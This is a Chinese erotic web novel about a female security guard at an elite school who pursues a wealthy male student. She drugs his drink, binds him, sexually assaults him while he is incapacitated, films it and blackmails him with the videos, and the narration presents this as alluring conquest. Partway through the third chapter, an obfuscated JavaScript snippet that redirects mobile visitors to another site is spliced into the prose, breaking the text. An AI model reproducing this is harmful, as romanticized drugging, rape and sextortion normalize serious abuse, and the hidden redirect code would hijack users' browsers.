《女保安驯服美校少爷攻略GB》 1. 漂亮的小狮子 “35岁,身高180,曾经在‘贝雷帽’工作,现在是科博戴尔学院的保安。” 当李美盈把这一串信息发过去之后,对方却没了消息。屏幕上显示的是对方已读,很明显,对方对她的情况似乎不太满意。 “怎么了弟弟?还约吗?”美盈继续追问他,刚才看过他的照片,长相倒还凑合,典型的美利坚小奶狗,但最主要的是他的身材练得很紧实,点开照片的那一瞬间,她就想好了该用哪种尺寸的假勾八。 “抱歉,我不喜欢姐弟恋。”沉默了片刻,对方终于肯回她的消息。 美盈笑了。 她心想,这小表子还真是喜欢自作多情。她只是看中了他的屁股,他却开始设想跟她更进一步?还姐弟恋?太可笑了。不过话又说回来,既然她能因为对方的年轻貌美选择对他发起进攻,那么他以年龄来拒绝她,似乎也没什么好奇怪。 “弟弟,年纪大有年纪大的好处,经验多会疼人,你别被tiktok那些虚假的东西迷惑了,姐姐会让你体会到这辈子都忘怀不了的乐趣。”美盈耐心向他解释着,这个月校董会的体面老白男来到了科博戴尔搞慈善晚会,安保抓得很紧,作为安保队长,美盈憋了将近一个月,现在急需泄火,所以她只能和他说着好话,当然,等到了坦诚相见的那一刻,她可就不会对他这般温柔了。 “算了,我只约30以下的。”对方下了线,没再给她丝毫机会。 美盈狠狠骂了一句F字开头的美利坚国骂,把手机丢的远远的。 网上的约不到,她决定去外面逛一圈碰碰运气。 科博戴尔学院作为全美最顶级的五所私立高中之一,学制四年,刚满18岁,藤校预备役的未来华尔街精英、橄榄球明星的白人少爷数不胜数。 作为从“贝雷帽”退下来的抢手安保人员,她决定来这个学校应聘安保人员的原因不言而明。当然,来这里之后她也没有失望,许多看起来是钢铁一爱男的健气阳光金发男孩都被她玩了个透,根据她的经验来看,踢足球的玩的最大,打篮球的肌肉公0最多。 啧,想起他们在她的手段之下那副丑态百出,可怜兮兮的模样,美盈又笑了。 她把手揣进保安制服的裤兜里,继续在篮球场上逛着。 傍晚的天有点阴,篮球场的人不多,愈发显得宁静怡人,大片修剪整齐的绿茵草坪一直铺到远处的砖石教学楼,橡木树荫在行道上投下斑驳光影,远处隐约传来网球场击球的脆响,和车道上低调豪车驶过的轻响。 这种阴沉又闷热的天气最是可恶,把她的心也燥得阵阵瘙痒,逛了一大圈,也没有撞见一个合适的。 看来今天不宜享乐。 美盈气急败坏地把脚前一块石头踢开,决定回宿舍。 “什么鬼天气。” 她擦了把额头上的汗,正要朝前走去,却被一双修长有力的手从后面按住了肩膀。 她转头看去,一张带着戾气的面孔正对着她。是个比一米八的美盈还要高上将近十厘米的金发碧眼大帅哥。 他的五官凌厉,深刻诠释了精琢细刻四个字,鼻梁高挺,碧蓝的眼睛被金色的长睫毛盖住一些,看向她的眼神满是冷傲与不屑。唇角也是微微上挑,看上去更不面善。 美盈迅速打量了一眼他的身形,结实紧绷的胸肌在纯白T恤的掩盖下更加诱人,手臂上的肌肉线条蓬勃有力,刚过膝盖的短裤两条小腿肌肉明显。 她咽了咽口水,正要往他大腿以上的部位看。 “刚才的石头是你踢的?”对方开口说话,嗓音低沉有力,听得她几乎要按捺不住暴虐的欲望,想要把他的头扣住然后把玩具狠狠塞进他那张懒懒张合的粉色嘴唇里,把他的嘴唇都磨出血。 “是。”美盈竭力抑制住自己的邪恶想法,微笑看着眼前让她心神激荡的小狮子。 没有什么是比征服这种痞里痞气的小野兽更爽的事情了。 “你们日本人是不长眼么?你把石头踢到我身上了。”对于自己被叫“日本人”美盈心里已经没什么波动了,在黄金时代的美利坚,在这种傲慢的赛级白人眼里,只要是东方面孔那就是日本人。 而不同于他恶劣的态度和话语,他的口音很优雅,声音磁性,有几分爱尔兰人的感觉——哼哼,这种是她喜欢的类型。 越是嚣张,她越是喜欢。 他骂得越欢,她越是兴奋,越是想看他在自己的身下俯首称臣,叫妈妈的样子。 “抱歉,先生,姐姐下次注意。”她赔着笑脸,暗自想着该怎样要他的联系方式。 “你一个保安,还敢自称姐姐?”他扫了一眼李美盈身上的保安制服,嘴角带着蔑笑。 好女不吃眼前亏,美盈自知在这时候如果和他起了争执,吃亏的肯定是她,索性把赔笑的姿态放得更低些,笑道,“对不起先生,我以后走路一定会注意。”他或许是还有急事,又或许是看她态度良好,没有再多说什么,迈着大步子离开了。 美盈看着他的背影。 他的背影更加诱人,背肌和后腰连成一个倒三角,而且多么难得,作为一个欧美男人,那两条白皙的大长腿上居然没有一点毛发,刚刚与她近距离交谈时,身上也没有一点体味儿,肌肉也 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“你可真是精力旺盛。”费诺尔看了她一眼,如此说道。虽然他很厌恶她,但却不知为什么,总是忍不住时时观察她——傍晚时分才悠悠晃荡回来的美盈,还嘴角带笑,毫无疑问是出去猎艳了,“不是我说你,以你的条件,你要是愿意找一个固定的对象约会,肯定很受欢迎。 ” “等你什么时候把你的那里奉送给我,我就去试试one on one。”美盈的眼神在他的臀部流连忘返,嘴上开玩笑地说道,心里却希望这句话的前半句能是真的。 费诺尔身材高大颀长,身手也是非常不俗。 她就是喜欢征服强悍的男人。 “去你的。”费诺尔摇了摇头,不再说话,盯着手机看。 美盈突然想起来一件事,问他:“你平常会巡逻的区域是搏击部和篮球场一带吧?帮我调查个人。” “你又看上哪家的小伙子了?”费诺尔撇了撇嘴,放下手机,眼底闪过一丝复杂的光。 美盈知道,这个带一半拉丁血统的男孩很看不惯她的行事风格,但她懒得和他多计较。和她玩的那些学生都是正儿八经的成年人,心甘情愿一拍即合,轮不到别人来说三道四。 再说,这费诺尔自己一天天也神神秘秘的经常出去,只有上帝知道他在干什么。 “里奥肯尼迪,你看看能不能……”她的话还没说完,费诺尔脸色一沉,说道,“别打他的注意,他不是你能惹得起的!” 2. 被拐走的小狮子 一听这话,美盈更来劲了。 她把费诺尔拉回他自己的屋子里去,直接坐到他的床边上,问他:“怎么个不好惹?” “他在篮球队很有名,家里有钱有势的,”这似乎是一句昭然若揭的废话,美盈心想。肯尼迪先生年纪轻轻,却从内到外散发着一股金钱与权力滋养出来的高傲气息,简单来说就是喜欢拿鼻孔看人,“他母亲是西部电力集团的董事长,父亲是DHS(美国国土安全部)高官,就算在这所学校,也没任何人敢惹他,你可要小心了。” 不过,费诺尔平时低调冷漠,从不关注校园明星,连他都听说过里奥,看来里奥果然是颇有名声。 美盈并没有感到过多担忧。 她是一个经历丰富的成熟女性,从前在贝雷帽服役的时候,她搞定过很难缠的显赫人物——可能唯一需要担心的,是里奥的DHS高官父亲一句话就能发动移民局的人来收拾她……不过她觉得事情不会失控到那个地步。无论如何,她得把肯先生襙得屁股开花,让他体验体验被开包的滋味。 看美盈若有所思,费诺尔继续好心劝道:“你千万可别去惹他,不然你肯定会有大麻烦。” 看着费诺尔英俊干净的面容,美盈想了想,笑道:“要是我能把他襙尿,你就给我乖乖洗干净了,坐到我的假勾……” “滚!”费诺尔把美盈推出房间,两只手臂以一种防御的姿势抵住门框,嗤笑道,“你要真有那个本事,随你处置。” “好。”美盈心满意足转身离开。 还是那句话,她最喜欢的事情,就是调教嚣张狠厉的猛男。 第二天周末,大晴天。 波士顿的夏天热而不闷,挥汗如雨的同时,总能感受到不知从哪吹来的习习清风,阳光下像烤肉炉,走到树荫和室内,却又有一丝清凉。 美盈没有值班,直接去了学院的篮球场,打算碰碰运气,看能不能撞见里奥。 运气一向不错的李美盈果然在篮球场上看到了里奥。 阳光的金发小狮子今天穿了一件白色球衣,下身是黑色的宽松短裤,一双耐克联名的限量球鞋,起跳间胯前跟着上下涌动,小腿紧绷,看上去无比诱人。 美盈向着篮球场靠近,眼睛却一直盯着肯尼迪先生的胯前看,暗自揣测着那里的模样。汗水顺着他的金发淌下,皮肤纹理更清晰,让那本就优雅紧实的肌肉看起来更有一股蓬勃欲发的力量,透过球衣,她几乎能看到他胸前两点淡粉。 这时,里奥一个起跳,篮球在三分线以外入框,周围的同伴们一阵欢呼,他拦起球衣擦了把汗,结实的腹肌一览无余。 突然,他向着美盈站的位置看了一眼,应该是注意到她了。 美盈大方地冲着他挥挥手,向他示意她给他带了饮料。 果然,他向同伴们说了几句话,然后朝美盈走来,即使流了这么多汗,他身上居然也是带着一阵淡淡的体香:“怎么是你?”他只说了这一句,就从她的手上拿过给他准备的饮料开封喝了起来,连句谢谢都没有,看样子他是早就享受惯了这种待遇……果然是一只被保护得很好的,没有防备心的小狮子。 “作为学校的安保人员,我还是得为我昨天的行为向你道个歉,先生。昨天是我不好,对不起。” 美盈肤色白皙,杏核眼,美丽大气,曾经的军旅生活给她增添了一种从容厚重的气场,她看上去有些像年轻时的巨星巩俐。此刻,她脸上带着善意的笑,让人很难不心生好感。 里奥静静地看了她一眼,喘着气说道:“就为这事?” “我还捡到了你的学生卡。”美盈把那张质地良好的卡片递了过去。 里奥挑了挑金色的眉毛,接卡片的时候没有碰到她的手指:“……嗯哼。” 他把手中的饮料一饮而尽,美盈注意他看她的眼神里终于多了一丝别的神采,正要开口邀请他出去喝杯咖啡什么的……里奥身后人叫住了他:“Kenz,快过来!” 里奥冲着他挥挥手,又瞥了一眼美盈。 他似乎思考了两秒钟,没有犹豫,直接转身离开了。 美盈顺着里奥离去的方向看,一个身高和他差不多的黑发男孩刚刚正在看她和里奥,那男孩笑着的时候有两个小酒窝,阳光可爱。 里奥身边的人也都挺符合她的口味。 美盈想着,有机会了,她要把他们一网打尽。 …… 七月份,科博戴尔学院各处弥漫着欢乐的气息。十三年级最后一个学期,大学申请多尘埃落定,没有了后顾之忧。于是,毕业生们早早地开始寻觅舞伴,为舞会做准备。 按照规矩,男生要手捧一束鲜花,礼貌地询问女生是否愿意共赴舞会。因此这段时间,似乎满走廊都是斗志高昂的手捧花束的男生,姑娘们也多给面子应允下来。多一个展示自己,或者说让自己高兴高兴的机会,实在没有什么不好。 找搭档,有些像求婚,邀请者领着三五个狐朋狗友兴师动众的,一待女孩点头,众人就会欢呼鼓掌,并拍照上传Facebook作为见证。 美盈在教学楼里巡逻时瞧见这欢乐的一幕幕,心里不禁思索,虽然里奥还是只“小福猫”,毕业舞会这种事和他还有一段距离,但他这种炙热可口的货色,大概率会被拉着实弹演习一回。 果不其然,美盈一搜索社交软件,立刻就从几位校园知名人士那里得到了里奥会在三天后去维拉德尔庄园参加party的消息。 美盈当然不会错过。 三天之后,她打扮齐整,早早出发。 第一站在波士顿的一处公园,二十几个身着盛装的少年簇拥在一片芳草地上,满面春风地对着一片镜头。 说实话,这一幕让沧桑的美盈心里有种莫名的感动,她想起祖国的一首诗“恰同学少年”,可惜,她三岁的时候就跟着母亲远跨重洋来到了美国,这大半辈子还没有机会回去一趟,只能靠自学中文聊表思乡之意。 草地后有条清澈的小溪,夕阳西下,光线柔美。这个背景好像早就等在那里,一天只为这一瞬。 美盈是这二十几人中唯一一个非学生的异类,他们也毫不在意,照样把她拉过去摆着姿势供家长一一拍照。 拍完一行人分成两队,一队上了辆加长林肯,美盈则跟着另一队向派对车走去。所谓派对车,就是一辆小型公交车内安了柔软的皮垫座椅,摆了些光怪陆离的装饰,两侧放置冰桶,当然不能盛酒,而是堆满汽水。 此行的目的地维拉德尔庄园是辛西娅小姐家族的地产,美轮美奂,尽显奢华。 美盈穿过一扇雅致的雕花大门,走进楼梯间,耳边隐隐传来派对发出的喧闹声,就在头顶某个地方。 到了三楼附近,她碰见了几个正要离场的高二女孩,女孩们一边拌嘴一边下楼梯,全都穿着用白色床单充数的托加长袍。 “脸都丢光了……”其中一个姑娘说。 “我已经道过歉了,是乔尼告诉我说,这派对要穿托加长袍出席,你还要我怎样?” “你就应该找其他人核实一下!”另一个姑娘抱怨,“见鬼,我讨厌在肯尼迪少爷面前丢人……我们快走吧。” 美盈默默地爬上一级级楼梯,音乐声越来越响,到了顶楼,她一脚踏进灯火通明的走廊,玻璃窗外面的露天泳池被热气和声浪覆盖,上百具年轻舞动的人体让室外都显出一片氤氲。音响播放着Kanye的歌曲,放得震天响,地板都在不停颤动。 而就在角落的啤酒乒乓桌旁,一个年轻人正独自跷着二郎腿,坐着赏玩风景。 在这样满是名流的热烈的氛围里,他不需要去讨好任何人,反而所有人都来争相讨好他。 这当然是她心心念念的肯尼迪少爷了。 里奥今天穿了一身宝蓝色平驳领西服,黑色西装裤,柔软漂亮的金发做了个很潮的发型……美盈形容不来叫什么,反正就是两鬓推短,然后头顶的部分留长,梳成偏分,这类发型特别适合他这种鬓角和发际线都很清晰有型的男孩,整个人散发出风流不羁的绝对帅气。 在她穿行于人群,向里奥走去时,辛西娅小姐抢先一步到了他的身边。他对别人都是淡淡的,但对辛西娅小姐却多了几分体面的礼貌,没聊几分钟,辛西娅小姐就满足地走了。 就在里奥愈发无聊之时,美盈终于来到了他的身边,手里还端了两杯酒。 “……又是你?”里奥微微睁大了碧蓝的眼睛,因为惊讶,他微微倾身,甚至换了一只腿跷,“你怎么能到这里来?” “极品黑皮诺,来试试吧。”美盈笑而不答,在他身边坐下,“如果他们没有骗我的话。” 里奥饶有兴趣地看着她:“你那里有什么醒酒的药吗?” “用不着,这可是极品货色,好喝得很,相信我。”美盈举起酒杯,“干杯。” “干杯。”里奥边说也边举起酒杯。 他们碰了杯之后,美盈把酒杯端到唇边,一口灌下了“黑皮诺”,佯装被呛咳到的模样,把酒水喷得一地都是,里奥立刻开怀大笑起来。 “你没事吧?” 美盈点点头,尽力收拾残局。里奥一直笑个不停,那顽劣又迷人的笑容,勾得美盈心里痒痒的:“这可不是红酒,是伏特加,你连这都分不出来,恐怕从来没喝过酒吧?那你真该先跟我打声招呼。” “当然喝过,喝 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“老早以前,念伊顿公学的时候,”他解释道,“当时我才十四五岁,趁着周末,跟我的某个哥们儿溜出学校,搭火车去伦敦。有人在布里克斯顿举办规模特大的地下派对,只在派对开场前几小时才把地址用短信发给你。我喝了很多酒,嗨得通宵不归,第二天早上六点才从帕丁顿回来。我们的舍监是个老糊涂,被我们严严实实地蒙在鼓里。总之吧,事情一发不可收拾,最后我害自己进了医院,喉咙里插了不少管子。” “哇噢……” “没错,当时我还昏迷了一阵,情况很不妙。”他顿了顿,“这破事算是给我敲了一记警钟吧……任何令人上瘾的东西,就不要去沾染。” “天呐,肯尼迪先生。” 里奥懒懒地躺在椅子上,修长白皙的手指把烟举到唇边,“其实,当时我只是想回敬一下我老爸,他酒后的那副德行讨厌得很……” “噢?” “他倒是已经戒酒好几年了,可我小时候他撒酒疯撒得厉害。我五岁的时候,他喝醉了活生生打断了我的胳膊……真要命,我干吗跟你说这些?”里奥皱着眉头,晃了晃脑袋。 美盈看着自己笨笨的小狮子,微笑道:“也许是因为,我看上去是个值得信赖的好人?” “也许吧。”里奥目不转睛地凝视着美盈,“又或许只是这里太闷热了,让人心烦意乱。” “那不如我们出去走走?”美盈也直勾勾地看着他,“出去……找点乐子。” 当夜阴云蔽月,庄园外的小桥两侧耸立的铸铁路灯,每隔一段路就发出橙色的柔光。美盈站在桥头,里奥跟在她身后,那昏头昏脑的模样,就像一个被骗出城堡的年轻王子。 美盈爬到石砌的护栏上,审视着下方三十英尺处那幽黑的河水,水面不时荡漾着路灯投下的微光,猛地跃下小桥。 里奥发出一声惊呼。 似乎过了很久,他的耳边才传来“扑通”落水的动静,里奥惊魂未定,李美盈从水中冒出头,高喊着让他也跳。 要是换了光天化日之下伫立桥头,要是没有这股莫名其妙的昏沉醉意……里奥内心深处的火花,不会这么轻易地点燃。 他深吸一口气,纵身从桥上跃下,没入一片幽黑之中。 冰冷的河水里,有一只有力的手抓住了他,在河水里,给了他一个吻。 …… 从水里钻出来后,里奥理所当然跟着美盈到了她的宿舍,其实,他本来提出要去他在波士顿的别墅,但美盈拒绝了。 多亏了那杯被她加了“猛料”的好酒啊……里奥肯尼迪也不过如此。他先是和上次一样,毫无防备地喝掉了她递过去的酒,而后又紧跟着她跳下了水,彻底催发了药性……呵呵,四肢发达头脑简单,用来说小狮子还真是一点也不过分。 美盈心里充满了胜利的喜悦,一路上都在想一会儿该怎样细细品尝这块鲜肉。 “你们保安住的地方还挺不错的。”进屋之后,里奥打量了一下屋内的环境说道。 的确,美盈的宿舍里除了有两张可以容纳下所有姿势的大床,还有单独的洗浴室,家电设施样样俱全,一会办起事来要方便许多。 “你要不要先去冲个澡?”她提议。 里奥没有说话,看了眼洗浴室的位置,开始俯身换下昂贵的意大利手工皮鞋, 她不着痕迹地注视着他的脚踝。 在美盈看来,男人除了可供玩乐的前后两处以外,最迷人的部位就是脚踝后面那一寸地方。 要命的是,肯尼迪先生一个一米九的大块头,还那么喜欢户外运动,从腿根到脚踝与脚趾,竟是那样白皙,且形态优美。 这无疑勾起了她极大的兴趣。 她想,她要把液体在他白皙的脚面上,一点一点铺满开来,让她的气味和他的气味完美融合到一起。 很快。 3. 要哭出来的小狮子 浴室里传来哗哗的水声,里奥矫健优美的身影映在了浴室的玻璃门上,李美盈在外面等得有些急不可耐,几次都想要冲进去直接把他按在墙上让他弓着窄腰摇晃……不过,她还有比这更重要的事情要做。 半个小时后,里奥洗完澡裹着浴巾走出。 希腊雕塑般的身材,金发如同丝绒中抽出来的细纱,脸色微微泛红,眼神也开始迷离……这一幕实在太有冲击力,美到难以形容。 他蹙着眉头:“头晕……”像个迷茫的大宝宝。 美盈的眼神扫过他浴巾下某处,笑道:“你还好吗?” 不知为什么,里奥居然有些羞涩地垂下眼帘,药力开始发挥作用,他向前走了一步,险些没站稳。美盈上前搀住他,纵使他的身形总体来说颀长劲俏,但一米九的的大块头体重也不是盖的,美盈费了点功夫把他弄到了床上,这时他的意识已经比较混乱了。 美盈解开他的浴巾,目光仔仔细细把他全身摩挲一边,低下头用舌尖舔了舔他的鼻尖,一阵滚烫。 为了防止药效持续时间太短,她拿出准备好的尼龙绳把里奥的四肢全都绑住。这头白金马的皮肤像玫瑰花瓣一样娇贵,很快被粗粝的绳子给磨红了,于是,美盈又把柔软的棉花填充在皮肤与绳子相接之处。 啧啧,在她的记忆里,她还从来没有对任何一个男人这么耐心呵护过呢。 接着,美盈在一个合适的位置架起摄像机。这个摄像机是她之前买的,本来她想靠着这摄像机在享乐的时候拍一点作品上传到某黑黄网站上当个知名人物,可她的每一个伴侣都不愿意被拍,久而久之她也没了兴趣,摄像机就闲置了下来,直到今天才派上用场。 根据美盈以往的经验,那些体验过前列腺震撼的男人将会永远记住那种感觉,并且会不断追求那种前所未有的滋味,这也是为什么总是有男人身体没什么毛病,却对肛肠科的检查产生不可思议的迷恋的原因。 一番检查后,美盈确信里奥百分之百是个一爱男,此外……该说不说,他粉粉的样子让美盈觉得他的一爱经验应该也挺少——说实话,这一点让美盈非常意外。 美盈把里奥那一张英俊非凡的脸正对自己,配合着他微微蹙眉,痛楚中带点愉悦的神色录了一段视频,男孩的沉吟声和面部表情一点不落。 真令人兴奋。但他暂时还没清醒过来,美盈这样摆弄他似乎少了很多乐趣。 这不是她的初衷,她的目的是要让他亲眼见到,意识清晰地记住,他被她抱的感觉。 里奥雪白的额头已经渗出了一层细汗,舌头伸出来舔舐着唇角,看着他无意识沉沦的模样,美盈心理上的征服感似乎要更强烈。 这个大男孩,必须是她专属的小野兽。 美盈想着,又拿出手机开始拍摄。 她的手指被层层包裹着,这时候,她不禁想起一段时间之前那个嫌弃她是三十五岁女人的小屁孩。等她找出来他了,一定要把他弄到他daddy都认不出来的程度,让他好好享受来自大女人的冲刺。 在做完了一切赛前准备拍好了照片之后,里奥蹙了蹙眉头,发出一声低哼,终于缓缓睁开眼。 在看到她的第一刻,他并没有表现出任何的抗拒或者不适,甚至还眨了眨眼睛,那双像含着极地雪与冰的蓝眸里漾过一丝暖光。但当他反应过来,自己竟不着片缕被她五花大绑时,脸上先是闪过一丝不易察觉的震惊与疑惑,然后就厉声质问:“你搞什么鬼?” 他果然还没明白过来自己的处境。 都被绑了,对人说话的语气还是那样蛮横无礼。 与生俱来的支配者态度让美盈多了些兴趣:肯尼迪少爷是高高在上的支配者,那美盈就是要襙尿少爷的女人。 里奥皱了皱眉,身后传来的不适感让他有所察觉,他警惕地看了她一眼,不可置信:“你……你这个变态,疯女人!你对我做了什么!” “我的宝贝。”美盈笑着对他伸出手指,他下意识地把身子往后退,只是被绳子束缚住了手脚,他挣扎了两下便动弹不得了,“你难道没听说过一句话,这种时候你越是挣扎,欺负你的人越是兴奋。”美盈调笑他,不过这话却是真的,她喜欢看着小野兽在他面前发怒,然后再被惩戒到完全驯服。 “滚你的!”意识清醒过来的里奥力气还没有完全恢复,刚才的一阵挣扎已经让他有些疲惫,美盈并不理会。 “快点放开我!”他似乎终于明白过来此时面前的年长女性才是处于主导地位的人,说话的语气虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423874|200841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然依旧狠厉傲慢,但已经比之前柔和了许多,“你、你到底要干什么?” “小宝贝,”美盈发出一声哂笑,单手“攥”住他以控制他的身体,“别乱动。”她在手上用了点力。 他被攥得拧起了眉头,嘴唇微微泛白,汗水顺着脸颊往下淌,这种受难无助的表情出现在他这张矜贵深邃的脸上,让美盈手上的力度不自觉又重了点。 里奥咬紧下唇,过了好一会儿,声音才终于撕裂出一点哭腔。 她假装没听见,其实心里开始兴奋起来:她的小野兽要哭了。 此时此刻,里奥眼眶泛红,两颗蓝钻石般的眸子氤氲出茫茫水雾,当然不会让她心软,反而让她更想看到他哭着在她手里崩溃求饶的模样。 “只要你听我的话,我就把手拿出来。”美盈的语气里带着宠溺的温柔, “好不好?” “你死定了,我会让你付出代价的……”他一字一句。 里奥嚣烈不驯的态度算在美盈的意料之中。毕竟他恐怕做梦都想象不到,这辈子会受这种刺激与羞辱。 很好,越是难以征服的男人,滋味越是上等,没关系,她有的是时间。 美盈收起笑容,单手托起里奥的下巴,目光不再温和:“看到那里的摄像机了吗?”她把他的脸粗暴地摆向摄像机的位置,然后又正对回自己,低声说道,“你不听我的话,这些视频会被传到哪里呢?” 里奥猛地睁大了眼。 既然要对这头危险的小野兽出招,美盈自然不会无所准备。 这一个多月,美盈好好地了解了肯尼迪家族。里奥的父母亲已经离婚很久了,如今他的父亲迎娶了一位平民出身,只比里奥大了三岁的小妻子。 虽然里奥还是肯尼迪家族无可置疑的继承人,但如果他被爆出来这种新闻——想想吧,“‘美国皇室’家族的少爷被华裔女保安用假勾八XX”这种新闻,别说震惊整个美国,估计会成为世界级的爆炸新闻。 此时此刻,里奥的眼神很复杂。 愤怒、震惊、无措,除此之外还有淡淡的茫然与悲伤……当然,这一刻美盈没工夫去理会他眼里这点易碎的情绪。 她只知道,这头小野兽终于要被她驯服了—— 暂时。 4. 变脸的小悍马 “宝贝,你以后会爱上它的。”美盈不确定这头金色大洋马会不会出于愤怒借机狠狠咬她的手,但顶级的刺激就在于是从危险中获得,所以她大胆地把魔龙抵上了他充满诱惑的薄唇。 里奥死死皱着眉头,魔龙一般的玩意儿对他这个如假包换的一爱男来说还是太超过了。见他死活不张嘴,美盈只好钳着他的下巴使了点巧力,逼迫他轻轻接触了一下,他便条件反射一般疯狂往后弹。 当然,他这点躲避,换来的就是美盈失去耐心后的暴虐。 “咳咳……”她把魔龙强硬地怼到了他的嘴里,里奥两眼满是泪花,喉咙里不断发出呜咽声和干呕声,冰道般白皙直长的脖子上那点漂亮的喉结不由自主地上下涌动。 她的兴致被他这副德行刺激到了极点。 “把手给我。” 他摇摇头,不理她。 美盈把魔龙穿戴齐整,蓄势待发。接着,她朝着他的脸狠狠打了一巴掌!男孩白皙的皮肤上顿时留下她的五指印记,里奥可算叫了出来,不过是疼得受不了才发出的声音,不是美盈想听到的,她有些不开心。 美盈的全部注意力都集中在落难的王子身上,十几分钟过去疼痛与药力就让里奥满头大汗,他整个人看起来就像刚从水里捞出来的。尽管还在固执地死守牙关,但双手几次三番徒劳地试图推开她,两眼上翻。 察觉到火候已足,她的手掌便再次大力拍打他的脸颊。提醒他,她要把他调整成坐姿。 而当被迫坐直的男孩,气喘吁吁看清那头魔龙时,脸上立时一阵苍白,嘴唇也浮现出毫无血色的虚弱——毫无疑问,这玩意儿会给他留下心理阴影。 至于美盈,她深吸了一口气,操控魔龙的同时,细细把玩起里奥那双仿佛没有尽头的大长腿。坐式非常完美,这样美盈不仅可以挞罚里奥,还可以观赏里奥。他小腹绷得紧紧的,两条人鱼线裹挟着汗珠延伸至腰胯间,性感无比。他脸上的表情也应景到了极致,加上她一直在他的小腿部位弄出阵阵瘙痒,他几度承受不住,嘴里一直在嘟囔着什么,似乎是在骂她…… 不得不说,他真的是美盈见过的所有男人中最让她有征服欲的一个。就是这样一个男人,此刻正万分屈辱地沦落到她手里,无计可施。 又过了半个小时,里奥终于累得彻底瘫倒下来,脸紧贴着她的胸膛。虚弱的样子,看得美盈又心疼又兴奋。 肆虐的魔龙依旧在发出悦耳的动静,但再悦耳都比不过她怀里小野兽心脏跳动的夸张幅度来得动听。里奥嘴里的声音,从一开始的小声嘟囔,变成了语无伦次带着泣音的怒骂……美盈轻笑着看他,他和她对视一眼,然后又痛苦地阖上眼帘。 是的。他脸上的表情告诉她,他虽然难受,但是很享受。 顺直男是绝不会轻易承认这种感觉的,所以他才会一直叫骂叫疼来掩饰身体的本能反应,但美盈不管里奥他是真疼是假疼,她只想狠狠挞罚这头小野兽,让他彻底记住这滋味—— 记住她带给他的滋味。 等一切结束后,这小狮子就像被扒光了鬃毛一样硬气全无,气息游离地躺在床上。美盈颇有闲情逸致,爱怜地欣赏着他美丽凌乱的模样,眼神一转,发现他的手腕都被尼龙绳磨破皮了,便笑吟吟地给他解开。 先是双手,后是双腿。 全身的束缚被解除后,里奥本来紧闭的眼睛慢慢睁开。 他一声不吭地收拾好身体的污渍后,狠劲儿瞬间激发,和美盈扭打在一起——准确来说,他是要先打倒她,然后赶紧去把录像设备给砸了。 自始至终,美盈脸上的笑意都没变化过。 她当然是故意放任他这么做的。 李美盈从前是正儿八经上过战场的职业军人,战斗经验丰富不说,整个过程还一直养精蓄锐,就算里奥年轻力壮,这种状态下他也绝对不是她的对手。 里奥输了,被胜利的年长女性按在下面勾起下巴,敞开齿关,任凭对方的舌头探入胡搅蛮缠。 这是里奥这辈子的第二个吻。 如果说水中的那一吻,让他感到悸动与喜悦,那么这个吻留给他的就只有无尽的痛苦。 对美盈来说,她吻得越狠,越能捞到快感。 她把男孩那条粉嫩有力的舌头拖入自己的口中发狠地吮咬,力量的压制,权力的显现,在这场狂乱的欢愉中已然完全颠倒。 里奥的鼻子、嘴唇都在淌血,要么是被她揍的,要么是被她咬的……他根本不在乎这些疼痛,愤怒的目光死死地钉着她,他以为又要被她打一耳光,但美盈看着小野兽不服管的模样,却忍不住笑了起来。 她温柔地拭去他脸上的鲜血,鼻尖抵着他的鼻尖。 这种亲昵的接触,让里奥眼中燎原的怒色稍微松动了一分,她温柔地说:“小宝贝,你放心,这些视频不会泄露出去的。”她轻轻把他额前的碎发拂开,“而且你也不要妄想把摄像机毁了就万事大吉,视频我已经保存了好多,你乖乖让姐姐玩开心,这事就算是过去了,而且以后我也不会再来找你。” 里奥这双大海一样的眼眸里,有什么情绪翻涌都无比明显。这个年轻高傲又被保护得很好的小子,还不懂东方人那种含蓄的显山不露水。不知为何,他先是飞快地垂下了眼帘,当他再抬起眼时,里面只剩下戒备警惕:“你保证。” “我保证。”美盈吻了吻他的脸颊,温笑道,“来,继续。” “什么……”里奥立刻摇了摇头,犹豫了半天才压低声音说了出来,又羞耻又无助的样子,看上去诱人至极,“不行,我受不了。” “怪,这才哪到哪?”美盈坐下,搂着他的腰把他圈在怀里。其实她很明白,对于一个完完全全的顺直男来说这种体验毫无疑问是很震撼的。事实上,如果她刚刚再无情些,里奥甚至有可能会失……但事情总要一步一步来。 “我说了不行。”里奥绷紧了优美的下颌。由于愤怒,大概率还有一点淡淡的紧张与害怕,他白皙的脸颊发红,连带着肤薄的肩颈也漫出一层艳色。他一身的狠劲儿瞬间变得不伦不类起来,好像被欺负了一样可怜兮兮的,似乎又快哭了。 “你说不行有什么用,小宝宝。你唯一可以选择的只有哭泣——你要哭了么?要哭就大声哭出来,哭完叫声姐姐给我听听。”美盈调笑着,伸出两根手指在里奥的后颈窝打转。 里奥不愿面对,但如果他不这么做,美盈作势又要把手指伸进他的咽喉里。 最终他不情不愿地小声道:“……Yes,my lady。” 第二次被摁倒的时候,尽管里奥还是会下意识地流露出厌恶痛苦的表情,但他已经不太挣扎了。 或许是刚刚的经历令他感受太过深刻,他对美 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来之前两人玩了自由跳水运动,回宿舍后又大忙特忙,自然没有人会去帮肯尼迪少爷把他的高定套装烘干——这个家伙实在太娇纵了。按理来说,他不是应该在被摧残后穿着湿淋淋的衣服自己失魂落魄地离开么。 看着他光着雪□□壮的身体,大摇大摆盛气凌人的模样,美盈眯了眯眼睛,心里是三分怒火七分邪火。 她出去从花钵下掏出隔壁舍友的备用钥匙,打开了费诺尔的房门,直接把费诺尔的衣服丢了一整套给里奥:“穿吧。” 里奥看着美盈这么直接地从隔壁偷了衣服给他,也没有多问,直接套上了短裤,然后开始穿上衣:“你说话算话,这些视频不会被别人看到。”里奥很快穿好了衣服,又朝气蓬勃活力十足地站在了她的面前,年轻小孩身体底子就是好。 他语气冰冷地对美盈说:“以后也别来找我了。” 美盈笑了,用手在他臀部拍了一巴掌,对着他道:“我一向说话算话。” 